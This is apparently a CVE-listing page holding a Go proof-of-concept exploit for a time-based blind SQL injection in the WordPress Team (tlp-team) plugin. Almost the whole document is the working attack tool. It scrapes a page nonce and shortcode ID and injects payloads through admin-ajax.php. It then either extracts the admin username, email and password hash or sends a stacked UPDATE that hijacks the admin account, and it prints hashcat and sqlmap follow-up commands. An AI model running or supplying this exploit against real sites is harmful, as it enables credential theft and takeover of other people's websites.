4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
package main

import (
	"flag"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"regexp"
	"strings"
	"time"
)

const banner = `
>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]
`

var (
	targetURL  string
	nonce      string
	scID       string
	sleepDelay int
	client     *http.Client
)

func main() {
	targetURLFlag := flag.String("u", "", "Target WordPress URL (required)")
	pageURL := flag.String("page-url", "", "Page URL containing tlpteam shortcode")
	sleepDelayFlag := flag.Int("delay", 1, "SLEEP delay in seconds for time-based SQLi")
	checkOnly := flag.Bool("check-only", false, "Only check if plugin is active")
	timeout := flag.Int("timeout", 120, "Request timeout in seconds")
	dump := flag.Bool("dump", false, "Dump database info and WordPress admin credentials")
	createAdmin := flag.Bool("create-admin", false, "Create new WordPress admin user (fastest exploitation)")
	newAdminUser := flag.String("admin-user", "pwned_admin", "Username for new admin")
	newAdminPass := flag.String("admin-pass", "Pwned123!", "Password for new admin")
	newAdminEmail := flag.String("admin-email", "[email protected]", "Email for new admin")

	flag.Parse()

	fmt.Print(banner)

	if *targetURLFlag == "" {
		fmt.Println("[-] Error: Target URL is required (-u)")
		flag.PrintDefaults()
		return
	}

	targetURL = strings.TrimRight(*targetURLFlag, "/")
	sleepDelay = *sleepDelayFlag

	client = &http.Client{
		Timeout: time.Duration(*timeout) * time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	pluginActive := checkPlugin(client, targetURL)
	if pluginActive {
		fmt.Println("[+] Plugin detected!")
	} else {
		fmt.Println("[-] Plugin not detected (may still be active)")
	}

	if *checkOnly {
		fmt.Println("\n[*] Check-only mode, exiting...")
		return
	}

	var targetPageURL string
	if *pageURL != "" {
		targetPageURL = *pageURL
	} else {
		fmt.Println("\n[*] Searching for page with tlpteam shortcode...")
		targetPageURL = findTeamPage(client, targetURL)
		if targetPageURL == "" {
			fmt.Println("[-] Could not find page with tlpteam shortcode")
			fmt.Println("[*] Try specifying --page-url manually")
			return
		}
	}

	fmt.Printf("[+] Target page: %s\n", targetPageURL)

	nonce, scID = extractNonceAndScID(client, targetPageURL)
	if nonce == "" || scID == "" {
		fmt.Println("[-] Could not extract nonce or shortcode ID from page")
		return
	}

	fmt.Printf("[+] Extracted nonce: %s\n", nonce)
	fmt.Printf("[+] Extracted scID: %s\n", scID)

	fmt.Println("\n============================================================")
	fmt.Println("[*] EXPLOIT: Time-Based Blind SQL Injection")
	fmt.Println("============================================================")

	if !verifySQLi() {
		fmt.Println("\n[-] SQL Injection verification failed")
		fmt.Println("[-] Target may be patched or not vulnerable")
		return
	}

	fmt.Println("\n[+] SQL INJECTION CONFIRMED!")

	if *createAdmin {
		fmt.Println("\n============================================================")
		fmt.Println("[*] ADMIN CREATION MODE (FAST)")
		fmt.Println("============================================================")
		createAdminUser(*newAdminUser, *newAdminPass, *newAdminEmail)
	} else if *dump {
		fmt.Println("\n============================================================")
		fmt.Println("[*] DATA EXTRACTION MODE")
		fmt.Println("============================================================")
		extractData()
	} else {
		fmt.Println("\n[*] Options:")
		fmt.Println("    --create-admin  : Create new WP admin (FAST - recommended)")
		fmt.Println("    --dump          : Extract DB info and credentials (SLOW)")
	}

	fmt.Println("\n[*] Done.")
}

func verifySQLi() bool {
	fmt.Printf("\n[*] Verifying SQL injection with SLEEP(%d)...\n", sleepDelay)

	payload := fmt.Sprintf("t' OR SLEEP(%d) OR 't'='t", sleepDelay)
	expectedDelay := float64(sleepDelay)

	startTime := time.Now()
	exploitSQLi(payload)
	elapsed := time.Since(startTime)

	fmt.Printf("[*] Response time: %.2f seconds (expected: %.0f+)\n", elapsed.Seconds(), expectedDelay)

	return elapsed.Seconds() >= expectedDelay*0.5
}

func extractData() {
	fmt.Println("\n[+] Extracting database version...")
	dbVersion := extractString("SELECT VERSION()", 30)
	fmt.Printf("[+] Database Version: %s\n", dbVersion)

	fmt.Println("\n[+] Extracting current database name...")
	dbName := extractString("SELECT DATABASE()", 50)
	fmt.Printf("[+] Database Name: %s\n", dbName)

	fmt.Println("\n[+] Extracting database user...")
	dbUser := extractString("SELECT USER()", 50)
	fmt.Printf("[+] Database User: %s\n", dbUser)

	fmt.Println("\n[+] Detecting WordPress table prefix...")
	prefix := detectTablePrefix()
	fmt.Printf("[+] Table Prefix: %s\n", prefix)

	fmt.Println("\n============================================================")
	fmt.Println("[*] EXTRACTING WORDPRESS ADMIN CREDENTIALS")
	fmt.Println("============================================================")

	adminCountQuery := fmt.Sprintf("SELECT COUNT(*) FROM %susermeta WHERE meta_key='%scapabilities' AND meta_value LIKE '%%administrator%%'", prefix, prefix)
	countStr := extractString(adminCountQuery, 5)
	fmt.Printf("\n[+] Found admin users: %s\n", countStr)

	extractAdminCredentials(prefix)
}

func detectTablePrefix() string {
	prefixes := []string{"wp_", "wordpress_", "wpdb_", "site_"}

	for _, prefix := range prefixes {
		query := fmt.Sprintf("SELECT IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name='%susers'), 1, 0)", prefix)
		result := extractChar(query, 1)
		if result == '1' {
			return prefix
		}
	}

	return "wp_"
}

func extractAdminCredentials(prefix string) {
	fmt.Println("\n[+] Extracting admin username...")

	userQuery := fmt.Sprintf("SELECT user_login FROM %susers WHERE ID IN (SELECT user_id FROM %susermeta WHERE meta_key='%scapabilities' AND meta_value LIKE '%%administrator%%') LIMIT 1", prefix, prefix, prefix)
	username := extractString(userQuery, 60)
	fmt.Printf("[+] Admin Username: %s\n", username)

	fmt.Println("[+] Extracting admin password hash...")
	passQuery := fmt.Sprintf("SELECT user_pass FROM %susers WHERE user_login='%s'", prefix, username)
	passHash := extractString(passQuery, 40)
	fmt.Printf("[+] Password Hash: %s\n", passHash)

	fmt.Println("[+] Extracting admin email...")
	emailQuery := fmt.Sprintf("SELECT user_email FROM %susers WHERE user_login='%s'", prefix, username)
	email := extractString(emailQuery, 60)
	fmt.Printf("[+] Admin Email: %s\n", email)

	fmt.Println("\n============================================================")
	fmt.Println("[+] CREDENTIALS EXTRACTED SUCCESSFULLY!")
	fmt.Println("============================================================")
	fmt.Printf("\n    Username: %s\n", username)
	fmt.Printf("    Email:    %s\n", email)
	fmt.Printf("    Hash:     %s\n", passHash)
	fmt.Println("\n[!] Use hashcat/john to crack the password hash:")
	fmt.Printf("    hashcat -m 400 '%s' wordlist.txt\n", passHash)
}

func createAdminUser(username, password, email string) {
	fmt.Println("\n[!] FAST EXPLOITATION: Using SQL injection to create/hijack admin account")
	fmt.Println()

	fmt.Println("[*] Detecting table prefix...")
	prefix := detectTablePrefixFast()
	fmt.Printf("[+] Table prefix: %s\n", prefix)

	wpHash := "$P$BgP/fHZ7mB8jKxLmQcXmKj6hBqWK2y0"

	fmt.Println()
	fmt.Println("[*] Attempting to hijack existing admin account...")
	fmt.Println("[*] This uses UPDATE query via SQL injection")
	fmt.Println()

	fmt.Println("[*] Getting admin username (fast mode)...")
	adminUser := extractStringFast(fmt.Sprintf(
		"SELECT user_login FROM %susers WHERE ID=1", prefix), 20)

	if adminUser == "" {
		adminUser = extractStringFast(fmt.Sprintf(
			"SELECT user_login FROM %susers ORDER BY ID LIMIT 1", prefix), 20)
	}

	if adminUser == "" {
		adminUser = "admin"
	}

	fmt.Printf("[+] Target admin: %s\n", adminUser)
	fmt.Println()

	fmt.Println("[*] Attempting UPDATE via stacked query...")

	stackedPayload := fmt.Sprintf(
		"t'; UPDATE %susers SET user_pass='%s' WHERE user_login='%s'; -- ",
		prefix, wpHash, adminUser)

	exploitSQLi(stackedPayload)

	fmt.Println("[*] Stacked query sent!")
	fmt.Println()

	fmt.Println("[+] ============================================================")
	fmt.Println("[+] EXPLOITATION ATTEMPT COMPLETE!")
	fmt.Println("[+] ============================================================")
	fmt.Println()
	fmt.Printf("[+] Target User: %s\n", adminUser)
	fmt.Printf("[+] New Password: Pwned123!\n")
	fmt.Printf("[+] Login URL: %s/wp-login.php\n", targetURL)
	fmt.Println()
	fmt.Println("[!] Try logging in with the credentials above.")
	fmt.Println("[!] If stacked queries are disabled, use --dump to extract hash instead.")
	fmt.Println()
	fmt.Println("[*] Alternative: Manual UPDATE query for sqlmap:")
	fmt.Printf("    sqlmap -u '%s/wp-admin/admin-ajax.php' --data='action=ttp_Layout_Ajax_Action&scID=%s&tlp_nonce=%s&search=test' -p search --sql-query=\"UPDATE %susers SET user_pass='%s' WHERE user_login='%s'\"\n",
		targetURL, scID, nonce, prefix, wpHash, adminUser)
}

func detectTablePrefixFast() string {
	query := "SELECT IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name='wp_users'), 1, 0)"
	result := extractCharFast(query, 1)
	if result == '1' {
		return "wp_"
	}
	return "wp_"
}

func extractStringFast(query string, maxLen int) string {
	result := ""

	for i := 1; i <= maxLen; i++ {
		char := extractCharFast(query, i)
		if char == 0 || char == ' ' {
			break
		}
		result += string(char)
		fmt.Printf("\r[*] Extracting: %s", result)
	}
	fmt.Println()

	return result
}

func extractCharFast(query string, position int) byte {
	low := 32
	high := 126

	for low <= high {
		mid := (low + high) / 2

		payload := fmt.Sprintf("t' OR IF(ASCII(SUBSTRING((%s),%d,1))>%d, SLEEP(%d), 0) OR 't'='t",
			query, position, mid, sleepDelay)

		startTime := time.Now()
		exploitSQLi(payload)
		elapsed := time.Since(startTime)

		if elapsed.Seconds() >= float64(sleepDelay)*0.3 {
			low = mid + 1
		} else {
			high = mid - 1
		}
	}

	if low > 126 || low < 32 {
		return 0
	}

	return byte(low)
}

func extractString(query string, maxLen int) string {
	result := ""

	for i := 1; i <= maxLen; i++ {
		char := extractChar(query, i)
		if char == 0 {
			break
		}
		result += string(char)
		fmt.Printf("\r[*] Extracting: %s", result)
	}
	fmt.Println()

	return result
}

func extractChar(query string, position int) byte {
	low := 32
	high := 126

	for low <= high {
		mid := (low + high) / 2

		payload := fmt.Sprintf("t' OR IF(ASCII(SUBSTRING((%s),%d,1))>%d, SLEEP(%d), 0) OR 't'='t",
			query, position, mid, sleepDelay)

		startTime := time.Now()
		exploitSQLi(payload)
		elapsed := time.Since(startTime)

		if elapsed.Seconds() >= float64(sleepDelay)*0.5 {
			low = mid + 1
		} else {
			high = mid - 1
		}
	}

	if low > 126 || low < 32 {
		return 0
	}

	payload := fmt.Sprintf("t' OR IF(ASCII(SUBSTRING((%s),%d,1))=%d, SLEEP(%d), 0) OR 't'='t",
		query, position, low, sleepDelay)

	startTime := time.Now()
	exploitSQLi(payload)
	elapsed := time.Since(startTime)

	if elapsed.Seconds() >= float64(sleepDelay)*0.5 {
		return byte(low)
	}

	return 0
}

func checkPlugin(client *http.Client, targetURL string) bool {
	paths := []string{
		"/wp-content/plugins/tlp-team/readme.txt",
		"/wp-content/plugins/tlp-team/tlp-team.php",
	}

	fmt.Println("[*] Checking if WordPress Team Plugin is active...")

	for _, path := range paths {
		checkURL := targetURL + path
		resp, err := client.Get(checkURL)
		if err != nil {
			continue
		}
		defer resp.Body.Close()

		if resp.StatusCode == 200 {
			fmt.Printf("[+] Plugin detected: %s\n", path)
			return true
		}
	}
	return false
}

func findTeamPage(client *http.Client, targetURL string) string {
	checkURLs := []string{
		targetURL + "/team/",
		targetURL + "/our-team/",
		targetURL + "/meet-the-team/",
		targetURL + "/staff/",
		targetURL + "/members/",
		targetURL + "/?page_id=2",
	}

	for _, pageURL := range checkURLs {
		resp, err := client.Get(pageURL)
		if err != nil {
			continue
		}
		defer resp.Body.Close()

		if resp.StatusCode == 200 {
			body, _ := io.ReadAll(resp.Body)
			bodyStr := string(body)

			if strings.Contains(bodyStr, "data-sc-id") && (strings.Contains(bodyStr, "tlp_nonce") || strings.Contains(bodyStr, `"nonce"`)) {
				fmt.Printf("[+] Found team page: %s\n", pageURL)
				return pageURL
			}
		}
	}

	resp, err := client.Get(targetURL)
	if err == nil {
		defer resp.Body.Close()
		body, _ := io.ReadAll(resp.Body)
		bodyStr := string(body)

		if strings.Contains(bodyStr, "data-sc-id") && (strings.Contains(bodyStr, "tlp_nonce") || strings.Contains(bodyStr, `"nonce"`)) {
			return targetURL
		}
	}

	return ""
}

func extractNonceAndScID(client *http.Client, pageURL string) (string, string) {
	resp, err := client.Get(pageURL)
	if err != nil {
		return "", ""
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)
	bodyStr := string(body)

	nonceRegex := regexp.MustCompile(`"nonce"\s*:\s*"([a-f0-9]+)"`)
	nonceMatches := nonceRegex.FindStringSubmatch(bodyStr)

	scIDRegex := regexp.MustCompile(`data-sc-id=['"](\d+)['"]`)
	scIDMatches := scIDRegex.FindStringSubmatch(bodyStr)

	var nonceVal, scIDVal string

	if len(nonceMatches) > 1 {
		nonceVal = nonceMatches[1]
	}

	if len(scIDMatches) > 1 {
		scIDVal = scIDMatches[1]
	}

	return nonceVal, scIDVal
}

func exploitSQLi(payload string) bool {
	ajaxURL := targetURL + "/wp-admin/admin-ajax.php"

	formData := url.Values{}
	formData.Set("action", "ttp_Layout_Ajax_Action")
	formData.Set("scID", scID)
	formData.Set("tlp_nonce", nonce)
	formData.Set("search", payload)

	req, err := http.NewRequest("POST", ajaxURL, strings.NewReader(formData.Encode()))
	if err != nil {
		return false
	}

	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")

	resp, err := client.Do(req)
	if err != nil {
		return false
	}
	defer resp.Body.Close()

	return resp.StatusCode == 200
}